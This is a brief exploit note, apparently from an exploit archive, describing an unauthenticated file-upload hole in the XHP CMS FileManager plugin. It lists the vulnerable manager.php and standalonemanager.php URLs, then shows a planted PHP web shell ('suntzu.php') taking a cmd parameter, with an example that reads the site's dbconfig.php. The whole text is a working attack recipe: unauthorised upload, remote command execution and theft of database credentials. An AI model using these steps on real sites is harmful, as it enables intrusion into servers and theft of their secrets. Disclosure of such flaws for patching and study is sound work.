/* explaination:
 without to have admin rights, you can have access to FileManager plugin
 to upload php files:

 http://[target]/[path_to_xhp]/inc/htmlarea/plugins/FileManager/manager.php

 or

 http://[target]/[path_to_xhp]/inc/htmlarea/plugins/FileManager/standalonemanager.php

 after, you can launch commands from them, ex:

 http://[target]/[path]/filemanager/suntzu.php?cmd=cat%20./../dbconfig.php
